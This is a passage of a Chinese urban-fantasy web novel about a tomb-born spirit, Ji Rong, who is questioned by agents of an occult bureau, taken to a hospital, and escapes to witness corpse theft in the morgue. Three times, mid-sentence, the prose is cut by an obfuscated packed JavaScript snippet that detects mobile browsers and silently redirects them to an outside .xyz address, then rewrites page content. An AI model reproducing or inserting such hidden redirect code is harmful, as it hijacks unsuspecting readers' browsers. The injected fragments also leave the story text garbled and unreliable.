姬容边打哈欠,边慢吞吞地踩着拖鞋从楼上走下来,随着她走近,李二狗也像终于找到了主心骨似的,连忙转过头。 一句急迫的“仙人”才刚出口,半空里猛然响起一声矫造的大喊,就把他忧郁的心情堵死在嘴边:“不白来,家人们不白来嗷!” “小手点一点!最后三件!这是主播为家人们特地争取的最后一波福利!” “家人们,走过路过不要错过!” 最后一声“家人们”堪称一波三折、余音绕梁,即使姬容反应及时地掐断了手机连着的直播间,主播娇滴滴的喊麦声依然在空气里久久不能散去。 李二狗喉咙口滚动了一下,半晌没说出话。 姬容举着手机,难得尴尬地轻咳两声:“不好意思,你刚想说什么来着?” 本来只准备随便打个招呼的,等发现对方有话要说的时候,已经来不及关掉土味主播的卖货直播间了。 现在的人太会语言艺术了,就像她瘫在沙发上,一边充电一边玩手机刷视频,等发现自己一晚上没睡的时候,天都已经亮了。 这就是新时代的斗转星移大法吗?居然连她都被糊弄过去了,真是太可恶了! “……” 李二狗看了眼客厅的钟,早上八点半。 原本的心慌已经荡然无存了,他嘴唇颤抖,差点就下意识地对仙人问出口,对方到底是一大早爬起来就在刷音符直播间,还是根本就通宵没睡。 “没,没什么,”李二狗把没出口的话全吞回了肚子,定了定神,问道,“我马上出门买菜,仙人今天想吃什么?” 闻言,姬容把烫得快爆炸的手机往桌上一丢:“让我想想。” 严格来说,她现在已经不完全是人了。为了压住体内的另一个神魂,彻底占据这具躯体的控制权,姬容一般是靠吸食自己陪葬品上的阴气,来控制体内的阴气始终能压过阳气,所以正常人的一日三餐对她来说也没那么重要。 但吃饭这种事,本来就是享受的过程远大于结果。 不然为什么人类要研究出那么多菜系,而不是天天啃大馒头喝白水完事呢? “我要吃糖醋里脊,番茄炒鸡蛋,还有爆米花,”姬容很快心安理得地报出一堆高油高糖食品名,“路过村口小卖部的时候再给我捎瓶可口可乐,要冰的,不要百事。” 百事的气少,口感不行。 李二狗:“……行,今天肉铺不一定有小排卖,我先去看看,没有的话中午就吃清蒸鱼,可以吗仙人?” 姬容很好说话地摆摆手,小细节,她又不是小孩,还因为吃不到自己想要的那口菜就上蹿下跳。 日头逐渐高照,李二狗从院子拖出他的电动三轮车,一路屁股冒烟地就出门去了。 活久见,连不知道几千年的老古董都知道喝可乐不要百事——这世上再也没有什么能让他为之变色了。 村门口。 汽车愈行愈慢,随着驾驶位车窗摇下,露出一颗时髦的红蓝挑染鲻鱼头。 白凌燕仔细打量着挂在两根水泥电线杆中间的老旧牌子,“石磨村”三个字都已经生锈得不成样子了。 张京秋道:“就停这吧,再往里车开不进去了。” “好。” 白凌燕熄了火,却没有急着下车,而是拿起手机看了眼,细长眉梢逐渐皱起,“林观石他们怎么还没到?路上出车祸被撞死了吗?” 周步虚:“……女施主,慎言。” “得了吧,你是道士,又不是和尚,”白凌燕没搭理他,“我先找个人问一下李二狗家在哪,正好打听打听他最近有没有什么不对劲的地方,你俩待车上别乱动。” 另外两人对此没有意见。 正商量着,一辆电动三轮车从村外开来,车主是个看着四十多岁的中年男人,头上顶了只农民常戴的遮阳草帽,宽沿边上围了一圈粉色的纱。 要不是白凌燕大幅度地朝自己招手,三轮车主真不一定看见路边居然还站了个人。 “干什么?”李二狗停下车,语气有点不善。 白凌燕从口袋里掏出一支烟,上道地递给对方。 她笑起来时露出一排洁白的牙齿:“叔好,我们是来村里看亲戚的,嘿,这不是好多年没走动了吗,连亲戚家住哪都认不出来了,在门口等了半天,才等到叔你一个人来,要是方便的话,能帮我们指下路吗?” 近年来村里确实不少年轻人都去城里打工了,李二狗看了眼他们开的车,半旧不旧的中档油车,心里已经信了一半。 犹豫片刻,李二狗最后还是因为姬容介意烟味而没有接下那支烟。 他两只手能抓着电三轮的把柄,姿势警惕,态度却已经松动了:“你亲戚叫啥?大概住哪知道吗?” “姓李,李二狗,就住村南边,叔你听过……” 白凌燕一口胡扯还没说完,就见中年男人瞬间变了脸色,车把一拉就直接向前开冲了出去,把白凌燕猝不及防吓了一跳,险些就被三蹦子直接迎面撞上。 她骂了一句,但也反应迅速,抽了张符按在手背上,强行拉住车头,竟是直接凭人力徒手将电三轮硬堵在原地。 “跑什么?”白凌燕高声喊道,“你就是李二狗?” 一记不着,李二狗眼睁睁看着她给自己贴符纸,笃定了这个看着漂亮的年轻人也不是正常人,根本不敢搭话,抛弃了车拔腿就跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491093|185866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只是没跑两步,身后席卷来一阵凌厉风声,随即从天而降一股刚猛的力道,反抓着两肩就把李二狗按倒在地上。 张京秋面沉如水,伸手直接揭了李二狗的大草帽,却在下一秒看清男人样貌的瞬间愣了愣。 “是你?” “什么是你是他的,你俩见过?” 白凌燕甩甩手腕从后面跟上,周步虚也终于解开安全扣,从车上狂奔而下,看清李二狗面相的那一刻没忍住倒抽一口凉气:“怎么看着比资料上老了将近十几岁。” 再加上那花哨的大草帽,也难怪刚才在村门口撞见的时候,他们没认出这就是自己要找的当事人。 张京秋简略说了下那天在文化局外撞见“父女俩”的事情,接着又道:“还是活人,只是他的生命力被吸走了一截。” 不过还能留着命,跟同行们的下场比起来,已经算是走运了。 “踏破铁鞋无觅处,得来全不费工夫,”周步虚若有所思,“当时跟在他身边的那个女孩,应该不是人吧。” 就算不是墓主,也一定是王姬墓里跟着出来的凶物。 没想到张京秋却对此难得迟疑了一瞬,随后才摇摇头道:“那个女孩身上的气息很干净。” 被扭着胳膊按在地上的李二狗不知道这几个年轻人来历,见他们轻轻松松地就压制住自己,不由得心乱如鼓擂,一边挣扎,一边慌乱大叫道:“你们想干什么?我、我警告你们,这可是法制社会,你们是想绑架我吗?” “别叫了大叔,你为什么会被找上,心里没数吗?” 白凌燕没好气地啧了声,手往后一伸,周步虚默默地从口袋里掏出一张蓝本本,放到她手心上,又被贴脸晒到李二狗面前。 赫然是一张道士证。 白凌燕:“你跟人下了不该下的墓,挖出了不该挖的东西,我们是来给你扫尾的。” 一证在手,专业程度嗖嗖直升。 果然,看清道士证之后,李二狗挣扎的幅度小了很多,他跟着蓝本本大眼瞪小眼良久,才小声问道:“你们是来解决仙人的吗?” “仙人?” 张京秋复读了一遍,冷冷道,“不要搞封建迷信那套,世界上没有仙人。” 乡下人哪分得清这些东西,李二狗面露疑问:“没有仙人,那你们是……” 张京秋十分镇定地道:“手艺人。” 兼顾了手工艺技术和体力劳动,怎么不算手艺人? 他说这话的时候,身旁的两个队友均没绷住,背过身露出惨淡的表情。 “……” 李二狗才有些活络起来的背刺之心,顿时被这质朴的三字给浇熄灭了。 跟着姬容干,固然时时刻刻都要忧愁项上人头。 ……但跟手艺人比起来,他还是继续给仙人当走狗吧。 11. 被拐文物 好说歹说,几人总算是说服了李二狗协助他们。 劝说的主力军是白凌燕,这会儿也是她负责跟李二狗打商量,她摸着下巴,满脸深思:“你是说,那个从墓里挖出来的‘仙人’自打赖进你家之后,每天除了吃喝玩乐,盘手机,倒卖自己的陪葬品,除此之外什么正事也不干。” 怎么听着跟个二流子似的? 李二狗郁闷点头:“仙人什么多余的事情都不跟我说。” “那为什么你的同伴全被她杀了,独独你活下来了呢?” 退一万步说,就算是想找个人类伥鬼驱使,李二狗也是那伙人里最没用的一个。凭着对方描述里轻轻松松就秒掉一干盗墓贼的场面,白凌燕不觉得那位‘仙人’是会忌惮手下人怀有二心的无能上司。 阴物都是集合负面情绪于一体的存在,性格偏激易怒,迎面泼黑狗血试图强行驱邪固然是找死,难道盗墓就是什么很无辜的行为吗? 无非是早死晚死的区别罢了。 李二狗啥也不清楚,只会满脸惊慌地摇摇头,然后一个劲地说“不知道、不清楚”。 ……这家伙甚至连自己当初进的哪个墓室都说不清楚,盗墓盗了个寂寞。 “其实还有一种可能,那女孩并非凶物,”张京秋冷不防出声,“我见过她一面,她全程表现得神志清晰,这种情况如果不是抵达一定境界的阴物,就是有自我意识的灵物化身,先前杀了那几个盗墓贼也只是出于自保。” 白凌燕道:“灵物化身条件极为苛刻,而且基本都是有主的,不可能这么自由地就从王姬墓里飘出来。但如果是周墓的话,也不是没有可能,”她揉了揉太阳穴,有些烦地闭上眼,“谁让那是迄今为止最接近神话纪年的可考据朝代,发生什么都不奇怪。” 无论如何,还是要亲眼见过才能下定论。 另外一支小队不知道遇上什么,被绊住了脚,一时半会儿还不知道赶不赶得过来,张京秋三人就是硬着头皮也得上了。 未知的才是最可怕的,一想到居然有一个疑似非人物在自己眼皮底下大摇大摆地晃过,还没有被认出异常,一时间,饶是张京秋也不敢托大。 好消息是李二狗供养在家的“仙人”大概率并不嗜杀,不仅李二狗还活着,周步虚简单地占卜了一下,那天跟她在街上发生小冲突的几个黄毛混混也还都活着。 这显得他们仨的生存可能也在直线上升。 “过会儿还要麻烦你先回去试探一下,李先生,”张京秋说得客气,行动上却没有留给李二狗什么推辞的余地,“我们会在外面接应你,沟通为主,尽量不要激怒对方。” 这本来就是李二狗跟他同伙放出来的麻烦,要是老老实实等到首都的队伍过来接手,指不定根本就不会闹出这场乌龙。 张京秋又从包里抽出一张金光闪闪的符咒,递给李二狗,旁边的周步虚无意瞥见,哇塞了一声:“这么大方。” 这是天师府大天师亲手画的防身金甲符,就算是对上一方鬼王,也能扛个至少一刻钟,关键时候能救命的,作为天师府年轻一代最受看重的后辈,张京秋身上统共也就只有三张。 居然直接就把其中一张给了李二狗。 至少周步虚不是觉得很值。 观一旁的白凌燕表情,她也是这样觉得的,不过年轻女人抿了抿唇,最终还是没有置喙什么。 等张京秋交代完符纸用法后,她才拍拍裤子上沾的灰土,站起身状似不经意道:“你想清楚了,到底要倒向哪边。” 李二狗神色一僵。 白凌燕笑容带着点淡淡的嘲意:“你已经侥幸苟活下来一次了。” 想讨好对方,也得对方先给一个开口的机会。 “……” 突突突的烟尘里,电三轮车驶入石磨村弯弯绕绕的土路。 李二狗回到自家自建房的时候,正看见姬容正仰面躺在院子里的藤躺椅上,说是晒太阳也不对,姬容双手交叠在小腹前,脸上则盖了张皮纸长卷,卷轴的两边几乎拖到地上,一动不动的,看着很是诡异,也不知道算死的还是活的。 听到门口的动静,少女白净的耳朵抖了抖,随后长卷滑落些许,露出一只黝黑如珍珠的眼睛,骨碌碌地转过来:“回来啦?” “嗯,东西都买回来了,今天菜市场还有大卡车卖西瓜,我也挑了一个。” 因为心虚,李二狗瞟了一眼,就连忙收回视线,拎着大小袋子就匆匆往厨房走:“我先帮你把西瓜切了。” 因为不敢直视,他自然也就错过了姬容眼中思量的神情,只听见她用轻快的语调道:“好呀。” 砰,砰……李二狗低头抱着西瓜,心跳飞快,他察觉到姬容还在不远不近地打量着自己,那眨眼频率远低于正常人的黑色眼瞳,正一眨不眨地凝固在自己身上。 鸟叫,虫鸣,风拂过树梢的沙沙声,紧张到极致的时候,往日平摊在五感上的注意力这会儿全聚集到了捧着西瓜的双臂上,他只能看得见眼前脚下的地砖和倒映在地砖上的影子。 豆大的汗珠逐渐从额头沁出,李二狗却连擦得不敢擦一下,他的脚步越来越快,地上的影子越来越长,如同有一只无形之手掐住了他影子的脖颈,不停地拉长——拉长——拉长如严重变形的橡皮筋,连带着进入喉间的空气也变得越发稀薄起来,李二狗的眼前忍不住阵阵发黑,就在他濒临缺氧极限,脆甜的声音忽然自身后攀附上来。 “咦?” 金光闪过,梆的一声,像是快拉到极限的弹簧被猛地松了手,两端又快又利地撞在一起时会发出的声音,被无限拉长的影子瞬间缩回正常长度。 姬容饶有兴趣地起身,黑雾烫手似地散开,又缩回到她身边。 “谁在偷袭我?” 与此同时,一支迅捷如游龙的橙棕长条,倏尔自门外飞射进来,被姬容撩起长卷扑开,一枚外圆内方钱币和一把金算盘又几乎同步地从另外两个袭来,姬容退后两步,三个非同寻常的武器顿时在她脸前凝滞,随后,扑通通掉在土黄的地上。 半空里某种联系被斩断,李二狗腿一软,就跪坐在了地上,西瓜摔成一片稀烂的鲜红。 死里逃生一回,他脑袋空空的同时,恐惧所迫的涕泪不受控制地流出。 没有试探,没有半点暗示和沟通,在察觉到背叛的瞬间,姬容的杀招就已经出动了。 这位“仙人”看似好沟通,其实从没给过他另一个选项。 姬容扭过头,定定地看着门外。 “你是谁?”她收起长卷,弯起眼问道。 一张俏脸都在微微地发红,半是因为惊奇,半是因为正面抗下三波罡气。 门旁不知何时倚了个高挑清俊的青年男人,照面都打过了,再装也没钱拿,张京秋没犹豫太久,便抬起脚,看似缓慢实则警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491094|185866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惕地走进来,又在姬容的注视下,弯腰拾起自己的剑。 小钱币和算盘没拾,让周步虚和白凌燕过会儿自己来拾,作为他俩把自己推出来当盾牌的报应。 第一个问题没有得到答复,姬容并没有气馁,而是又好奇追问道:“你是纯人吗?” 不怪她这么问,主要她活着的那个时期,会法术的大多不是纯种人类。 张京秋:“……” 这什么破问题?比上过大学更猎奇的问句出现了。 武器及时停下,说明对方至少不是完全的阴物。 不是阴物,就另有一套专门的处理方法。 他直接忽视了第二个不知道哪冒出来的无厘头问题,将木剑插进背后剑鞘,脸上半点表情也无:“玄学办来人,查办过程中看见你动手伤人,你最好解释一下自己的行为。” 谁料姬容完全不理他的问题,只关注自己想知道的事情:“玄学办是什么?” “非自然现象调查与科学研讨委员会,简称玄学办,你是哪来的?怎么连这个都不知道?” “你们来这里是要查办什么事呀?” “…………”这人是选择性耳聋吗?! 张京秋深呼一口气,又深呼一口,再开口时气场更显冻人:“你不觉得一直都是我在回答你,你完全不理睬我的问题,这很过分吗?” “有吗?”姬容夸张地捂着胸口,上半身前倾,以至于青年不得不后退半步来跟她保持距离。 借着这个机会,姬容飞快地在张京秋身上嗅了两下,随后趁对方没注意,直接从他脖子处勾出玉牌挂件,正是天师府的身份证明。 “功德的味道,”熏得鬼头晕。 姬容勉强信了对方的身份是那什么名字长得要命的机构来人,眼看着张京秋即将变脸,又嗖的一下缩回原位,这次看起来老实多了:“不好意思长官,你刚问的我没认真听,我们重走一遍流程吧。” 张京秋冷冷地看着她,拿出本子,重新盘问起来:“名字。” “姬容。” “户籍。” “岐山人。” “……刚才为什么要对李二狗动手?” “他要害我,”姬容歪了下头,“原因你们不应该比我更清楚吗?” 张京秋笔头一顿,这才翻过页。 “李二狗系一起盗墓案的重要涉事人员,”他的声音有点沉,“所有跟他有关联的人,都无形中与盗墓案有牵连,你最好解释一下为什么会出现在他家里。” “天哪,”姬容捂住嘴,看起来很惊讶,“长官,这人无恶不作,我只是被她拐来的无辜少女。” 无辜少女? 张京秋瞥了眼还瘫倒在地上的李二狗,和创业未半而中道崩殂的西瓜,此时无声胜有声。 “但就在我们来之前,你还在指使他替你端茶送水切西瓜。” “呃,好吧,我承认主语有点问题。” 没想到这一幕也被看见了,姬容挠了下头发,索性承认道:“其实我不是被拐来的无辜少女,我是被拐来的无辜文物。” 这一次的沉默时间格外长。 半晌,张京秋回过头,朝门外偷偷探脑袋的周白二人招了招手。 “劳烦打个电话给医院,”他面无表情道,“我要给这位姬小姐申请一份全身体检,有脑CT的那种。” 姬容:“?” 12. 文物法 张京秋做事向来讲究一个效率,而且李二狗看着也一副痛失所有力气和手段的样子,仿佛再跟姬容多待一秒钟就要自绝在此了。 考虑到王姬墓被盗的事情还没调查清楚,为了犯罪嫌疑人的身心健康,他决定兵分两路,自己和白凌燕一起先把姬容送去医院做检查,留下周步虚盯着李二狗,等其它人过来支援。 刚在门外的时候,他就已经把事情先跟玄学办简单上报过了,接线那边声称,再过个半小时左右就会有人来接应他们了。 安排得很好,就是当事人不太配合。 “我不要去医院,”姬容的脚跟长在地里了似的,死活不肯挪动半步,“我才没有病,别以为我不知道你们的套路,是不是想联合医生说我是精神病,然后把我关在医院里,再强占我的钱!” 短视频里都是这么演的,那些豪门内斗,还有什么凤凰男为了和小三一起图谋有钱原配的财产,就是找理由把人给送进医院关起来,再打着代理的名义抢钱。 联想到自己成山的殉葬品,姬容深感责任之重大,任务之艰巨。 她出土的日子可不是白过的,也是一直在学习啊! 张京秋:“……” 自信得让人槽多无口。 他想了想,最后还是挑了个好入手的角度问:“你哪来的钱?” 姬容还没来得及说话,痛定思痛的李二狗就已然把她卖了。 “仙人住在二楼。”他跪坐在地上小声道。 说这话的时候,一眼都没敢往他的“仙人”那看。 没用张京秋再出头,白凌燕便一溜烟地飞步上楼,没过一会儿,农村自建楼的二楼蓝玻璃窗就被拉开,探出颗彩色脑袋,顺势朝楼底人比了个手势。 意思是确实有东西,她点到即止地出声道:“王姬墓。” 张京秋转头看姬容,那张向来淡淡的脸上有种莫名的促狭,像是看似平平淡淡的一个大白蛋,敲开后才发现是咸得流油的咸鸭蛋。 “你知道的吧,”他说道,“大周已经亡了。” 姬容突然有种不太好的预感,让她下意识地不敢去听张京秋接下来的话。 但这点微弱的抵抗是无效的。 背剑的黑发青年低头在手机上按了几下,随即将自己的手机递来,姬容犹豫片刻,还是接过来了。 屏幕上迎头几个字仿佛闪耀着正道的光。 ——文物保护法。 下面一行就是对文物归属的严正声明,特别强调,考古发现属于国有资产。 简而言之,王姬墓现在已经不是姓姬的私产了,再争下去,连姬容自己的归属权都得跟着一起被打个问号。 张京秋话里有点不明显的笑意:“被拐文物,也至少了解一下自己的保护法吧。” 姬容:“……呃,嗯,我开玩笑的。” 姬容:“你要不还是把我当个人吧。” 她原本还打算假装成器灵,混进鱼龙会,现在这点心思已经被打消得烟都不剩了。 万万没想到,居然是文物法打响了针对封建余孽的第一枪。 忽然想起自己已经成功倒卖了一波文物后,姬容不由得背都绷紧了。 虽然她也不是怕被抓,但就是觉得怪怪的,还好这个时代没熟人了,不然光是卖自己的陪葬品维生就已经够丢脸的了,要是还给整上案底了……那她真的会连夜把自己再埋回去。 无颜面见天日。 似是猜到她在担心什么,张京秋淡道:“有暗箱操作的办法。” “你会主动帮我?” 姬容刚才没动手只是因为那道金甲符威力可观,连自己都能震慑一瞬,而张京秋之所以不动手的原因也差不多,无非是打又不确定能打过,只能暂时采取以理服人的办法。 但要是张京秋主动给她大开方便之门,姬容却是不大信。 张京秋侧身,让出一条出门路:“路上说?” 他的目光在姬容手中的长卷上一闪而过,隔着段距离,只能看出画卷的纸质光滑细腻,恐怕是用某种动物的皮糅制而成。 被紧紧抓在手里,说明比那些金银玉器的身外之物重要的多。 踌躇片刻,姬容还是仗着艺高人胆大,“嘁”了一声,老实跟在张京秋身后出去了。 她好歹也是作为人生活过的,当然知道没有人脉,在社会上就是寸步难行。 更何况姬容也不太想承认,自己现在大概等同于一条九漏鱼,纯文盲,跟自由比起来,她还是跟着这几个人类看看有没有软饭硬吃的可能吧。 背对着她的地方,张京秋不着痕迹地勾了下嘴角。 见状,白凌燕朝周步虚招招手,意思让他等会儿把这些楼上的东西和李二狗一块带走,便跟上那两人。 队长带上自己的原因不难猜,虽然不知道姬容到底是什么东西,但她有影子,说明有实体,用的身体是女人,作为同性,有的地方由白凌燕引导起来会更方便一些。 他们几个来时的车还停在石磨村门口,依然是白凌燕负责驾驶,一上车,张京秋就开始跟姬容讲接下来的安排。 “这是白凌燕,她过会儿会带你去医院做体检,我还要跟玄学办那边沟通一下,前期经你的手流出去的那些文物不算多,我可以替你担保不追究,赃款不收回,但是剩下的文物就跟你没有关系了。” 姬容百思不得其解:“这怎么能算没有关系呢?” 人和自己的陪葬品也是能分割的吗……说好财产神圣不可侵犯的呢? “能留着钱就不错了,”白凌燕本来就性格开朗,观察了这么好一会儿,见姬容言谈举止除了有些地方比较怪诞外,跟正常人差别也不大,学会把她当成一个状态稳定的精神病看后,白凌燕对姬容的态度释然了。 她将手搭在方向盘上,闲闲道:“你算是赶上好时候了,至少王姬墓还没被改建成周代文化遗址公园,不然回去一趟,还得额外再交个门票钱。” 之前不就有个那什么末代皇帝,开创了买票的先河。 “……” 古有士别三日当刮目相待,今有姬容每天都要对新时代刮目三遍。 她彻底地叹为观止了。 车窗两边景色飞速刮过,姬容头次坐车,还有点犯晕,跟另外两人聊了几句后,张京秋终于把话题引到了自己关注的事情上。 “你手上的长卷是什么?”他透过后视镜,观察姬容的脸色,“如果很重要的话,我可以帮你登记成伴生物。” 不知道是不是自己的错觉,姬容看着好像比几天前在街上初见时变年长了些,现在看着至少像二十岁的青年了。 也是这会儿犯困,姬容没再问伴生物是什么东西,而是扬着调子“哦”了一声,道:“是山海舆图。” “山海舆图?” 张京秋眸光闪烁。 先前龚铭给他看了关于王姬墓的资料,其中就包括主墓室的门后铭文。 【千山共宿,万海同归,封世自存,寻彼昆仑。】 这个昆仑肯定不是地图上那个昆仑,无论是张京秋,还是龚老及参与探索王姬墓的其它考古人员,大家基本一致认为这是传说中的那个万山之祖——玉京昆仑。 “舆图就是地图啦,这东西没什么稀奇的,你想看吗?” “回去看,车上看东西对眼睛不好,”那长卷目测展开能有好几米,在车里这点空间也铺展不开,张京秋转而问出先前一直没问出的问题,“你是那座王姬墓的墓主。” 他用的肯定句,孰料姬容直接道:“不是。” “那根本不是王姬墓,”她打了个哈欠,突然嘿嘿笑出声,举着手里的皮纸卷,“是这东西的墓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491095|185866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过现在墓坏了,有东西跑出来了,你们记得派人去顺便补补,那些东西不捉回来的话会造成很多麻烦。” 张京秋:“……” “所以这舆图你们不能直接拿走,不然不知道跑走的是哪些东西。” “恕我直言,”张京秋缓缓道,“这是不是本来应该是你该做的事情?” 姬容答非所问:“那几个盗墓贼被我拿去镇墓了,你们会因为这件事判我的罪吗?” 车里一时很安静,静得姬容都有点醒觉了,正当她怀疑是不是自己刚刚假借着打瞌睡说的话把俩人吓着时,开车的白凌燕终于插进来话了。 “好生硬的转话题,”白凌燕的声音很轻,却难以在这片封闭空间里被忽视,“所以确实是找外包了吧。” 也难怪前面态度这么配合,原来是祸水东引的前奏。 姬容心虚得没敢说话,最后还是张京秋问了句:“方便透露一下你的真实身份吗?” “你可以当我是山神。” “岐山?” 姬容笑了一下,没直接回答,于是张京秋也没再问。 他拨弄着手机,将姬容方才透露出的信息,包括墓中走失的危险不知名物,和昆仑一同上报回去。 岐山,王姬墓,包括姬容,这些都只是障眼法。 张京秋有预感,那些更危险的东西,其实到现在还没浮出水面。 他不知道在此之前还有没有别人搜查到这步,但至少可以确定的是,关于这次鱼龙会,他们小队已经占据了一个天大的先手优势。 此后一路无声。 等姬容被人从瞌睡中叫醒时,汽车已经停在了医院停车场,几栋相连的雪白建筑,顶上有红十字和人民医院的灯牌,正好是工作日,往来开药看诊的人很多。 白凌燕不在,姬容转过头,趴在车窗边上,日光晒得她眼睛不自觉眯起:“你还真把我带来了,我以为你开玩笑来着呢,哪有鬼神跑来医院看病的。” 张京秋不为所动:“只要有实体的东西就可以测量,不要小瞧科技的能力。” 省会的医院都有跟玄学办合作的项目,一个大全身体检做下来,基因库再比对比对,有时候玄学没法精准确定的东西,科技却会有奇效。 换句话说就是玄学万能的话,那还搞科研干什么?大家都来修仙算了。 张京秋一直都只觉得玄学只是一种比较特别的手段,而且还卡门槛,好用程度很玄乎。 看在以前没来过医院的份上,姬容不介意陪他玩玩,因此只是笑笑。 一记陌生电话打进了张京秋的手机,是玄学办的电话,估计是刚看了他路上发的简略报告,准备来问问具体什么情况。 姬容想探头去看,还没看着,张京秋就反手盖住了手机,他正要下车,忽然又停下了动作,转而向姬容伸出一只手。 姬容:“我身上没有零钱。” “……” 张京秋无奈道:“我让你把山海舆图给我,是叫这个吧?白凌燕去缴费了,我要下去接个电话,为了防止你乱跑,先把舆图留在我这看着,回来后给你。” 闻言,姬容不仅没给,反而更警惕:“你俩都走了,万一卷着我的东西跑路怎么办?” 开玩笑的,最后还是老实上交了。 车门啪的一下关上,张京秋就站在不远处的墙那边,隔着防窥车窗跟姬容对视两眼,随即就眉头一皱,身体也转了过去,像是在跟谁争吵。 趁着他没注意,姬容忽然哼笑一声。 舆图可不是她的死穴,最多只封存了一部分能力而已。 她才不要在这里干等着呢,那也太傻气了。 只见黑雾猛地膨胀开来,又从车窗的缝隙流出,一切都散尽后,轿车里重归于空空如也。 她,姬容,要奔向自由! 13. 有内鬼 黑雾没有飘太远,走远了不方便姬容后续碰瓷玄学办。 她只是想出去遛个弯。 如果不是医院附近连个鸟雀都没有,找不到可附身的对象,姬容也不至于真身出逃。 确认张京秋一时半会儿暂时找不到自己后,稀释开的黑色雾气就重新凝聚成一道人形。 制式古雅的黑裙再度垂下,裙角还绣着精致的刺绣花纹,姬容从凭空摸出一双洞洞鞋,熟练地蹬上。 每次从黑雾里出来的时候都要被迫换身衣服,她已经学会了适应。 黑雾有点自主意识,不多,智力水平不会高于一个7岁小孩——成天待在界限哪种啥都没有的地方,想不变弱智也难。 也正是因为寂寞久了,当初才会被姬容的三五句话就骗走,现在更是喜欢见缝插针地就要彰显一下自己的存在感。 比如时不时就玩点奇迹容容的游戏。 “一天到晚就会逮着我薅,”姬容原地蹦了两下,舒展舒展在车上蜷久的筋骨,懒洋洋道,“偶尔也要学会出去交点别的朋友啊。” 浓郁的黑雾绕着她翻滚,起伏中混进几声无可名状的低语,像是亲昵的撒娇。 医院里阴气重得厉害,还混杂着几道明显的秽气和恶意,对于姬容来说等同于是进补的好地方,她下意识地就往阴气最盛的地方飘来了。 这会儿一打量周围,似乎是某栋建筑的内部,墙上和地面都贴着方便清洁的瓷砖,因为年头已久,原本洁白的瓷砖有些泛黄,走廊两边密密麻麻的铁门仿佛一直延伸到无穷尽头处。 头顶雪白灯光洒下,冰冷的寒气和消毒水气味一同渗进鼻腔。 寂静里,有几声滴滴答答的声音隐约响起,不知道是水龙头漏水了,还是楼上有人在玩弹珠之类的东西。 姬容不为所动,甚至还掏出手机看了一眼。 11:31,剩余电量41%,信号剩余两格信号。 坏消息是出门忘记给手机充电了,好消息是两格信号什么也玩不了。 她收起手机,顺着走廊找到楼层地图。 这里位于急救中心楼的地下一层,一整层只有一个共用的名字,太平间。 不同的门房倒是区别出了功能,药房、清洗室、停尸房……一个个专业的名词,令姬容不禁联想到经常能在网上刷到的一个梗。 经常杀人的朋友都知道…… 后面不说了,不容易过审。 她记下地图的大概形状,随即便乱逛起来,有点目的性但不强,大致还是往停尸旁的方向曲线中前进,边走边吸阴气,如果有阴阳眼在这里,就能惊讶地看见虚空里竟然出现了一个深灰的移动涡旋,四面八方的阴气如百川入海般奔赴涌入,而涡旋的中心,正是背着手的姬容。 橡胶洞洞鞋踩在瓷砖上,发出像是鸭子叫的嘎吱声,童真的声音在这种环境里,也营造成了恐怖氛围的一份子。 “有点吓人。”姬容小声评价道。 黑雾紧紧簇拥在她身边,狂点不存在的脑袋。 姬容:“……” 你个阴间的看门雾在附和什么? 不远处传来骨碌碌的声音,像是滚轮碾过瓷砖贴合的缝隙,转移开了姬容的注意,原本看守这层的医生护士都去吃午饭了,能趁着这个时间点钻进来的能是什么好人?具体可参考姬容自己。 她放轻脚步,走近后还能听到刻意压低的说话声。 “一二三四五六,这次怎么这么少?” “前段时间梅雨,没谁会冒着大雨来医院,”另一道男声不耐烦道,“就算是医院也不是每天都死人的好吗?我们是医生,又不是死神。” “动作快点,监控只有十五分钟的屏蔽期,王老头马上就要回来了。” 最开始那声音顿了一下,像是有些不满又没法把对面怎么样,这才道:“行,钱明天打你账上。” 骨碌碌的滚轮声又响起来了。 嫌弃洞洞鞋有声音,姬容赤着脚绕过走廊,就看见一高一矮两个穿着淡蓝色医院护工装的口罩人,前后推着一架铁床,从停尸房走出来,旁边还站了个披白大褂的男人,左肩处有医院的红十字标志,应该是院内工作人员。 铁床上还蒙着一层白布,从外形的起伏上看,白布下应该是实心的。 ……偷尸体? 活着的人可以当奴隶买卖,还能理解,但死掉的人能干嘛? 姬容总觉得自己因为不够变态,而跟这个时代格格不入。 白大褂比另外两人更警敏一点,专门负责望风,时不时就左顾右盼地调头,生怕同事提前回来,停尸房正好在走廊尽头,出来就是货梯,姬容就躲在转角的墙后,边不忘大吸阴气,边偷摸着观察,时刻准备着回去就打小报告。 一看就是人类自己的内部管理出了问题,她能帮忙盯梢就不错了,才懒得横插一脚。 